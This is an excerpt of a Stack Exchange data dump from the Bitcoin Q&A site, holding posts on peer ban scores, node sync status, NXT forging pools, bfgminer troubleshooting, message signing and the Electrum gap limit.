  <row Id="35537" PostTypeId="2" ParentId="35536" CreationDate="2015-01-15T16:53:58.710" Score="2" Body="&lt;p&gt;Correct: there's no provision in the &lt;a href=&quot;https://bitcoin.org/en/developer-reference#p2p-network&quot; rel=&quot;nofollow&quot;&gt;P2P network protocol&lt;/a&gt; for your peers to tell you what ban score they've computed for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since each node connected to you separately computes a ban score using its own rules, there's no way for you to confidently know your ban score unless you have some sort of monitor that knows all the ban score rules for all the full nodes connected to you.  (E.g. the rules for Bitcoin Core 0.9.0, 0.9.2, 0.9.3, etc...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could get a rough idea by running a separate Bitcoin Core full node that connects to your node using the whitelist option.  With whitelisting enabled, Bitcoin Core still calculates the ban score and prints it to debug.log even though it will never disconnect because of a high ban score.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-15T16:53:58.710" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35538" PostTypeId="2" ParentId="35524" CreationDate="2015-01-15T17:04:13.357" Score="3" Body="&lt;p&gt;The site covers two topics:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A basic introduction to Bitcoin&lt;/li&gt;&#xA;&lt;li&gt;How one might be able to obtain Bitcoin for &quot;free&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'll discuss only item 2.  Several possibilities for earning Bitcoin are presented:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Mining&lt;/li&gt;&#xA;&lt;li&gt;Performing sponsored actions&lt;/li&gt;&#xA;&lt;li&gt;Using certain services that offer Bitcoin as an incentive&lt;/li&gt;&#xA;&lt;li&gt;Performing &lt;a href=&quot;http://en.wikipedia.org/wiki/Amazon_Mechanical_Turk&quot; rel=&quot;nofollow&quot;&gt;mechanical turk&lt;/a&gt; tasks&lt;/li&gt;&#xA;&lt;li&gt;Investing&lt;/li&gt;&#xA;&lt;li&gt;Betting&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The page at &lt;strong&gt;guadagnarebitcoins.altervista.org&lt;/strong&gt; does not itself offer any service, and appears to simply offer information.  Therefore, the site itself is not a &quot;scam.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as the site references a number of different third-party sites and services, you may find that your experience with those individual sites  will vary along a continuum of legitimacy (or lack thereof).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the proposed methods involve some non-zero amount of effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering the proposed methods ideally involves a good deal of judgment, self-knowledge, and reflection with questions like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Will mining result in the profit I think it will?&lt;/li&gt;&#xA;&lt;li&gt;Is this a good &lt;a href=&quot;http://en.wikipedia.org/wiki/Return_on_investment&quot; rel=&quot;nofollow&quot;&gt;ROI&lt;/a&gt; for my time and money?&lt;/li&gt;&#xA;&lt;li&gt;How much do I know about investing?&lt;/li&gt;&#xA;&lt;li&gt;How much time and/or money can I afford to lose?&lt;/li&gt;&#xA;&lt;li&gt;Is gambling a good way to earn money for me?&lt;/li&gt;&#xA;&lt;li&gt;Do I have reasonable confidence that the service will pay me?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And so on.&lt;/p&gt;&#xA;" OwnerUserId="21451" LastActivityDate="2015-01-15T17:04:13.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35539" PostTypeId="2" ParentId="35535" CreationDate="2015-01-15T17:15:51.887" Score="2" Body="&lt;p&gt;You will need the aid of a service or individual in order to exchange &lt;a href=&quot;http://en.wikipedia.org/wiki/Fiat_money&quot; rel=&quot;nofollow&quot;&gt;fiat currency&lt;/a&gt; to and from bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will also need a &lt;a href=&quot;https://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow&quot;&gt;bitcoin wallet&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some services offer both exchange and wallet functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may find these resources helpful:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.org/en/faq#how-does-one-acquire-bitcoins&quot; rel=&quot;nofollow&quot;&gt;How does one acquire bitcoins?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://howtobuybitcoins.info&quot; rel=&quot;nofollow&quot;&gt;How to buy bitcoins&lt;/a&gt; (Lists of services available in many countries)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For the United States: &lt;a href=&quot;http://howtobuybitcoins.info/us.html&quot; rel=&quot;nofollow&quot;&gt;http://howtobuybitcoins.info/us.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Trade&quot; rel=&quot;nofollow&quot;&gt;Trade&lt;/a&gt; (A list of many options and services)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="21451" LastEditorUserId="21451" LastEditDate="2015-01-15T17:22:40.497" LastActivityDate="2015-01-15T17:22:40.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35540" PostTypeId="2" ParentId="32247" CreationDate="2015-01-15T17:58:27.573" Score="6" Body="&lt;p&gt;I was confused by this as well, but I figured it out through trial and error. AM means arbitrary message (they should have explained this), which is a regular message you send to the forging pool through your wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you must join the forging pool (Account Balance -&gt; More Info -&gt; Account Leasing). No additional message is necessary at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After leasing your balance to this pool for some length of time (I waited a few weeks), you will have earned NXT from the pool's forging. When you want to collect your NXT, this is when you send the &quot;AM&quot; (I have found that until you send this message, you will not receive a payment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your NXT wallet:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Click on Messages (left navigation bar)&lt;/li&gt;&#xA;&lt;li&gt;Click Send Message (top right tool bar)&lt;/li&gt;&#xA;&lt;li&gt;Enter the forging pool address for Recipient (e.g. NXT-K5KL-23DJ-3XLK-22222)&lt;/li&gt;&#xA;&lt;li&gt;Write anything for the message&lt;/li&gt;&#xA;&lt;li&gt;Uncheck the Encrypt Message box (I did this, not sure if this is necessary)&lt;/li&gt;&#xA;&lt;li&gt;Click Send&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After your message receives 1440 confirmations (this takes a while), you will receive your share of pool earnings in your wallet from the forging pool. You need to send a new message each time you want to collect your earnings.&lt;/p&gt;&#xA;" OwnerUserId="22864" LastEditorUserId="22864" LastEditDate="2015-01-16T02:32:15.090" LastActivityDate="2015-01-16T02:32:15.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35541" PostTypeId="2" ParentId="35518" CreationDate="2015-01-15T18:08:44.473" Score="2" Body="&lt;p&gt;Yes, the information is public and in the ledger history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can find how inflation works in Stellar.org's mandate&#xA;&lt;a href=&quot;https://www.stellar.org/about/mandate/#Stellar_creation&quot; rel=&quot;nofollow&quot;&gt;https://www.stellar.org/about/mandate/#Stellar_creation&lt;/a&gt;&#xA;and &#xA;&lt;a href=&quot;https://www.stellar.org/developers/learn/concepts/inflation.html&quot; rel=&quot;nofollow&quot;&gt;https://www.stellar.org/developers/learn/concepts/inflation.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in a nutshell: you can look at the inflation transaction that runs every week and look at its metadata. The metadata will tell you who was the recipient of the inflation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as re-computing the input, you need to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download the historical ledger this inflation transaction ran&#xA;against (so the one right before it)&lt;/li&gt;&#xA;&lt;li&gt;(can be skipped to get a fairly close approximation) apply the transactions that precede inflation during that ledger round (can be done with the metadata or running a node)&lt;/li&gt;&#xA;&lt;li&gt;Look at the balance and InfladionDest of all accounts in the ledger to compute the vote tally. Voting power is the STR balance in the account.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Nicolas&lt;/p&gt;&#xA;" OwnerUserId="22941" LastEditorUserId="25048" LastEditDate="2015-10-21T07:16:01.683" LastActivityDate="2015-10-21T07:16:01.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35542" PostTypeId="1" CreationDate="2015-01-15T18:19:03.610" Score="1" ViewCount="377" Body="&lt;p&gt;I was mining off a raspberry pi with some zeus blizzards, I've had to format the SD because it got corrupted and so I took the chance to install the latest bfgminer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the raspberry is running raspbian and I've installed bfgminer following &lt;a href=&quot;https://bitcointalk.org/index.php?topic=121253.0&quot; rel=&quot;nofollow&quot;&gt;this install guide on BitcoinTalk&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo ./bfgminer -d? -D&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo ./bfgminer -S zeusminer:all -d? -D&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;prints out&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2015-01-15 18:01:27] setrlimit: Soft fd limit not being changed from 1024 (FD_SETSIZE=1024; hard limit=4096)&#xA;[2015-01-15 18:01:27] Started bfgminer 5.0.0&#xA;[2015-01-15 18:01:27] lowlevel_scan: Found vcom device at dev_t:01bc000000000000 (path=/dev/ttyUSB1, vid=0000, pid=0000, manuf=Silicon Labs, prod=CP2102 USB to UART Bridge Controller, serial=0001)&#xA;[2015-01-15 18:01:27] lowlevel_scan: Found vcom device at dev_t:00bc000000000000 (path=/dev/ttyUSB0, vid=0000, pid=0000, manuf=Silicon Labs, prod=CP2102 USB to UART Bridge Controller, serial=0001)&#xA;[2015-01-15 18:01:27] Devices detected:&#xA;[2015-01-15 18:01:27] Timers: Using clock_gettime(CLOCK_MONOTONIC_RAW)&#xA;0 devices listed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lsusb&#xA;&#xA;Bus 001 Device 002: ID 0424:9514 Standard Microsystems Corp. &#xA;Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub&#xA;Bus 001 Device 003: ID 0424:ec00 Standard Microsystems Corp. &#xA;Bus 001 Device 007: ID 10c4:ea60 Cygnal Integrated Products, Inc. CP210x UART Bridge / myAVR mySmartUSB light&#xA;Bus 001 Device 006: ID 10c4:ea60 Cygnal Integrated Products, Inc. CP210x UART Bridge / myAVR mySmartUSB light&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so the blizzards are connected indeed to /dev/ttyUSB0 and ttyUSB1 but bfgminer doens't not recognize them. Should I add something in the install procedure to enable the zeusminers? They were working until a couple of days ago before the SD formatting procedure.&lt;/p&gt;&#xA;" OwnerUserId="22940" LastEditorUserId="2306" LastEditDate="2015-01-15T21:26:15.897" LastActivityDate="2015-06-01T04:17:31.520" Title="Zeusminer Blizzards no longer working with bfgminer 5.0.0" Tags="|asic|scrypt|bfgminer|raspberry-pi|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35543" PostTypeId="1" CreationDate="2015-01-15T19:51:27.317" Score="2" ViewCount="3637" Body="&lt;p&gt;Reading the NXT website, it talks about an &lt;a href=&quot;http://nxt.org/about/asset-exchange/&quot; rel=&quot;nofollow&quot;&gt;Asset Exchange&lt;/a&gt; and a &lt;a href=&quot;http://nxt.org/about/monetary-system/&quot; rel=&quot;nofollow&quot;&gt;Monetary System&lt;/a&gt;. First seems to be regarding assets, while the second article one is talking about currencies. Is there any difference between those two, is one a subset of the other, or are they all the same?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2015-01-18T02:41:44.757" Title="NXT - What is the difference between an Asset and a Currency?" Tags="|currencies|nxt|decentralized-assets|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35544" PostTypeId="5" CreationDate="2015-01-15T21:32:30.337" Score="0" Body="&lt;p&gt;Bitcoin Core uses a &quot;ban score&quot; system to track when nodes are not following rules of the protocol. If enough (or certain) rules are broken, it will result in the peer being disconnected and banned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many things that can result in an increase in a node's ban score. Some examples of things that result in a node's ban score to increase are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Requesting the &lt;code&gt;version&lt;/code&gt; of a node more than once.&lt;/li&gt;&#xA;&lt;li&gt;Publishing a block with proof of work that does not match its difficulty.&lt;/li&gt;&#xA;&lt;li&gt;Publishing a block that has a double spend in it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-01-15T21:32:30.337" LastActivityDate="2015-01-15T21:32:30.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35545" PostTypeId="4" CreationDate="2015-01-15T21:32:30.337" Score="0" Body="Bitcoin Core uses a scoring system to track when nodes are not following rules of the protocol." OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-01-15T21:32:30.337" LastActivityDate="2015-01-15T21:32:30.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35546" PostTypeId="1" AcceptedAnswerId="35547" CreationDate="2015-01-15T22:09:41.590" Score="4" ViewCount="379" Body="&lt;p&gt;Context:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on an application in which we'd like to know if the current node is sufficiently synced to be able to handle RPC requests. The method we would like to use is to see if our node has at least 2-4 peers and if a majority of the peers are reporting the same best height / best block hash.&lt;/p&gt;&#xA;&#xA;&lt;hr/&gt;&#xA;&#xA;&lt;p&gt;Previous research: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I know the &lt;code&gt;version&lt;/code&gt; network call gets the height of the peer at that time, but it isn't updated. In addition, any further &lt;code&gt;version&lt;/code&gt; requests result in an increase of the ban score of a node, so this cannot be used frequently.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoinj/bitcoinj/blob/cd7dc3e535a06d10c010aa63d20ffeab294dd61b/core/src/main/java/org/bitcoinj/core/PeerGroup.java#L1737-L1743&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoinj&lt;/a&gt; keeps track of the height of the best known peer by using the height given in the version message and then incrementing whenever the peer processes an &lt;code&gt;inv&lt;/code&gt; message showing they have a new best-block height. This seems fast, but tricky/error prone.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/32578/would-it-be-possible-to-add-an-rpc-call-to-be-able-to-determine-if-a-node-is-ful&quot;&gt;This question&lt;/a&gt; is similar, but it asks about how to do this with RPC calls, and it doesn't seem to want to use the same method for determining whether the node is synced as the one I've proposed.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/32578/would-it-be-possible-to-add-an-rpc-call-to-be-able-to-determine-if-a-node-is-ful&quot;&gt;This question&lt;/a&gt; helped provide a temporary solution (calling get work and seeing if it fails), but this method is not accurate enough.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr/&gt;&#xA;&#xA;&lt;p&gt;Is there a way to just ask a peer what the height of its best block is without getting banned? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could I just make multiple &lt;code&gt;getheaders&lt;/code&gt; requests and see if the peer returns any headers later than the header I have, or would the peer ban me for requesting the same headers again and again?&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-01-16T00:15:00.390" Title="How to determine custom synchronization status?" Tags="|network|synchronization|height|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35547" PostTypeId="2" ParentId="35546" CreationDate="2015-01-16T00:15:00.390" Score="3" Body="&lt;p&gt;Bitcoin Core 0.10.0 may provide the solution you need thanks to its headers-first synchronization.  The &lt;a href=&quot;https://bitcoin.org/en/developer-reference#getblockchaininfo&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;getblockchaininfo&lt;/code&gt; RPC&lt;/a&gt; in 0.10.0 provides both a &lt;code&gt;blocks&lt;/code&gt; field (the number of verified blocks) and a &lt;code&gt;headers&lt;/code&gt; field (the number of partially-validated headers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any time the numbers differ, you don't have all the blocks.  During Initial Block Download (IBD), they'll be hundreds of thousands of blocks apart.  (According to a Wireshark sniff I did during IBD a few weeks ago, it took my node less than two minutes to download a complete headers chain; syncing the blocks then took another three hours.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Core 0.10.0 has two other new fields you might find useful, both in the &lt;a href=&quot;https://bitcoin.org/en/developer-reference#getpeerinfo&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;getpeerinfo&lt;/code&gt; RPC&lt;/a&gt;.  The fields are &lt;code&gt;synced_headers&lt;/code&gt; and &lt;code&gt;synced_blocks&lt;/code&gt;.  The headers field is based on the last &lt;a href=&quot;https://bitcoin.org/en/developer-reference#headers&quot; rel=&quot;nofollow&quot;&gt;P2P headers message&lt;/a&gt; the remote node sent you.  The blocks field is based on the last &lt;a href=&quot;https://bitcoin.org/en/developer-reference#inv&quot; rel=&quot;nofollow&quot;&gt;P2P block inv message&lt;/a&gt; the peer sent you.  In both cases, they let you know the last header or block you have in common with the remote node (as best as can be determined).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how useful these &lt;code&gt;getpeerinfo&lt;/code&gt; fields will be, as your node can't tell you the height of a block until it has the corresponding block header---at which point the &lt;code&gt;getblockchaininfo&lt;/code&gt; RPC will already tell you that you're out of sync.  However, they are kinda fun to look at.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Could I just make multiple getheaders requests and see if the peer returns any headers later than the header I have, or would the peer ban me for requesting the same headers again and again?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As far as I know, there's no ban score there (as long as your packets are valid).  However, the remote peer should send you an &lt;code&gt;inv&lt;/code&gt; message as soon as it validates an incoming block---so there's no need to poll it as long as your app handles &lt;code&gt;inv&lt;/code&gt; messages with a MSG_BLOCK type.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-16T00:15:00.390" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35548" PostTypeId="1" CreationDate="2015-01-16T01:43:58.647" Score="5" ViewCount="987" Body="&lt;p&gt;These two binaries appeared in Bitcoin Core a few versions ago, but I don't remember ever seeing an explanation of what they are and what you would use them for.&lt;/p&gt;&#xA;" OwnerUserId="634" LastActivityDate="2015-01-16T01:55:18.877" Title="What are test_bitcoin.exe and test_bitcoin-qt.exe?" Tags="|bitcoin-core|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35549" PostTypeId="2" ParentId="35548" CreationDate="2015-01-16T01:55:18.877" Score="3" Body="&lt;p&gt;These executables are used to run Bitcoin's unit tests, so that developers can verify that various parts of the code work as designed.  They are not needed by end users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the file &lt;code&gt;src/test/README.md&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The sources in this directory are unit test cases.  Boost includes a&#xA;  unit testing framework, and since bitcoin already uses boost, it makes&#xA;  sense to simply use this framework rather than require developers to&#xA;  configure some other framework (we want as few impediments to creating&#xA;  unit tests as possible).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The build system is setup to compile an executable called&#xA;  &quot;test_bitcoin&quot; that runs all of the unit tests.  The main source file&#xA;  is called test_bitcoin.cpp, which simply includes other files that&#xA;  contain the actual unit tests (outside of a couple required&#xA;  preprocessor directives).  The pattern is to create one test file for&#xA;  each class or source file for which you want to create unit tests. &#xA;  The file naming convention is &quot;_tests.cpp&quot; and such&#xA;  files should wrap their tests in a test suite called&#xA;  &quot;_tests&quot;.  For an examples of this pattern, examine&#xA;  uint160_tests.cpp and uint256_tests.cpp.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For further reading, I found the following website to be helpful in&#xA;  explaining how the boost unit test framework works:&#xA;  &lt;a href=&quot;http://www.alittlemadness.com/2009/03/31/c-unit-testing-with-boosttest/&quot; rel=&quot;nofollow&quot;&gt;http://www.alittlemadness.com/2009/03/31/c-unit-testing-with-boosttest/&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-01-16T01:55:18.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35551" PostTypeId="2" ParentId="30445" CreationDate="2015-01-16T12:59:13.510" Score="1" Body="&lt;p&gt;The Multigateway (often abbreviated MGW) is a service that was built to run on top of Nxt and acts as a semi-decentralized exchange.  An asset is issued on the Nxt Asset Exchange (the AE) and users can buy and sell this asset.  The value of the asset is presumed value of the associated cryptocurrency, in Nxt.  For instance, a BTC Nxt asset should trade at the value of BTC in Nxt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea for semi-decentralization is that N separate individuals agree to run a multigateway server for a specific, non-Nxt cryptocurrency that supports multisig transactions (BTC, LTC, DOGE, just to name a few.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each server manager contains a multi-key to the associated addresses that hold the funds for the exchange.  When a user makes a multigateway purchase on the Nxt Asset Exchange for the currency provided by the multigateway operator, they can request a withdrawal by sending a message over the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the withdrawal to take place, a majority of the keys, held by the MGW servers, from the payment address must sign the withdrawal transaction.  For instance, if 3 MGW servers manage a BTC asset on the AE, then 2 servers must sign the out-going BTC payment before it is considered valid by the BTC daemon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage to this setup is primarily two-fold.  First, if one of these MGW servers manages to get hacked, and the keys are stolen, the hacker can't take the coins.  He will have to also hack into at least one other server (assuming there are only 3) and still those keys as well, before he can clear out the exchanges wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second benefit is that those who run the servers can't withdraw funds on a whim.  The majority of the server managers must agree to make a manual withdrawal and sign the transaction together.  This means that no single manager of an MGW asset can withdraw any associated cryptocurrency that's being traded on the AE.  If a bogus-transaction occurs outside of the typical MGW functionality, then the MGW managers would have some explaining to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It must be understood that the 3-Server setup is most common but isn't the only setup possible.  There could just as well be 5, 6 or even 7 servers.  If there were 7 servers, then 4 of those servers would need to sign the withdrawal request.  Notion is why the MGW can claim to be &quot;decentralized&quot;.&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2015-01-16T12:59:13.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35552" PostTypeId="1" AcceptedAnswerId="35553" CreationDate="2015-01-16T14:26:56.940" Score="2" ViewCount="196" Body="&lt;p&gt;I got a simple but straight question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why do we need &quot;Sign message&quot;. Also give explanations and examples.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="21259" LastActivityDate="2015-01-18T17:18:00.753" Title="For what purposes do we need &quot;Sign message&quot;?" Tags="|message-signing|signature|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35553" PostTypeId="2" ParentId="35552" CreationDate="2015-01-16T14:38:44.670" Score="7" Body="&lt;p&gt;You can sign a message to prove ownership of a particular private key, without sharing the private key or spending any funds. For example, you could sign a message that says &quot;My name is John Doe&quot;. You could give this signed message to anybody, and they can verify it with your public key. This proves that whoever has your private key claimed to be John Doe at some point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somebody might sign a promise to deliver funds in the future, to prove that they have access to the funds (if the address associated with the private key has the amount of money promised), without actually sending the money. Basically proving the ability to send money, without actually sending it. &lt;/p&gt;&#xA;" OwnerUserId="18227" LastActivityDate="2015-01-16T14:38:44.670" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35555" PostTypeId="1" AcceptedAnswerId="35557" CreationDate="2015-01-17T00:34:23.483" Score="5" ViewCount="3273" Body="&lt;p&gt;There is a lot of red highlighting in the 'Label' column of my online/watch-only Electrum client, including for addresses which contain considerable balances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After trying to find out what this meant, I found out that it is something to do with the gap limit, and I read in the thread &lt;a href=&quot;https://bitcointalk.org/index.php?topic=324614.msg3604887#msg3604887&quot; rel=&quot;noreferrer&quot;&gt;Electrum 1.9 released on BCT&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;red means that the address is beyond the gap limit, so it will not be recovered if you restore from seed&#xA;  the red color will disappear once other (preceding) addresses receive coins.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This makes me think, that if my hardware is damaged and I need to restore the wallet from seed, that I will lose the BTC which I have stored in those red-labelled addresses. I don't know why this would be, as I didn't think it worked that way, but I don't know enough about it to know, and this is coming from the lead developer.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First, what exactly does it mean, that I have this red highlighting?&lt;/li&gt;&#xA;&lt;li&gt;Second, should I be concerned about it, do I need to do anything about it?&lt;/li&gt;&#xA;&lt;li&gt;Third, if I should do something about it, what should I do?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional information: In the past, there was a time when I was signing a transaction with my offline wallet, and I did not have all the addresses generated which were involved with the transaction from the online wallet. Because of this, I used some command in the Electrum command-line interface of the offline wallet to generate new addresses, I think by increasing the gap limit possibly. In fact, I used the thread &lt;a href=&quot;https://bitcointalk.org/index.php?topic=344115.msg3690179#msg3690179&quot; rel=&quot;noreferrer&quot;&gt;Offline send - can't send from change address&lt;/a&gt; for guidance on how to do whatever it was I did:&lt;br&gt;&#xA;I used a mixture of those three commands, but in the end I think I did it mainly by using the command, &lt;code&gt;wallet.storage.put( 'gap_limit', 20 )&lt;/code&gt;. I may have done this repeatedly, or with a large number, to make sure I definitely generated the addresses I was looking for; I don't know if this was excessive and may have caused problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I should probably add, that all of these red-highlighted addresses are change addresses.&lt;/p&gt;&#xA;" OwnerUserId="8729" LastEditorUserId="5406" LastEditDate="2015-01-17T02:39:48.350" LastActivityDate="2015-01-17T02:39:48.350" Title="What does it mean when addresses are labelled &quot;beyond the gap limit (highlighted red)&quot;?" Tags="|electrum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35556" PostTypeId="2" ParentId="4279" CreationDate="2015-01-17T00:44:02.393" Score="2" Body="&lt;p&gt;Yes.  All miners using the default Bitcoin Core settings will include some free transactions in their blocks based on &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees#Technical_info&quot; rel=&quot;nofollow&quot;&gt;priority&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say you have a microtransaction-sized 5,000 satoshi input (about $0.01 USD presently).  According to Bitcoin Core 0.10.0's &lt;a href=&quot;https://bitcoin.org/en/developer-reference#estimatepriority&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;estimatepriority&lt;/code&gt; RPC&lt;/a&gt;, you currently need 59985719 priority to get a zero-fee transaction mined within 25 blocks (~4 hours).  That means you'll only have to wait until your input is about 46 years old:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;satoshis * blocks per year * years / tx size &amp;gt; priority&#xA;5000     * 52596           * 46    / 200     &amp;gt; 59985719&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's because priority is computed by input amount in satoshis, times the number of blocks since it was received, divided by the number of bytes in the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't heard of any miners that have free transaction policies that are more generous than the Bitcoin Core defaults.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-17T00:44:02.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
